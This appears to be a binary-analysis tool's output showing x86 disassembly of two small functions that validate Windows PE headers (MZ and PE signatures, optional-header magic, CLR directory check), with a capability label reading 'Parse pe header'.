Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401aa9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401aa9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401aa9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401aa9
cmp dword [ecx + 0x74], 0xe
jbe 0x401aa9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40ab80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40abad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40abad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret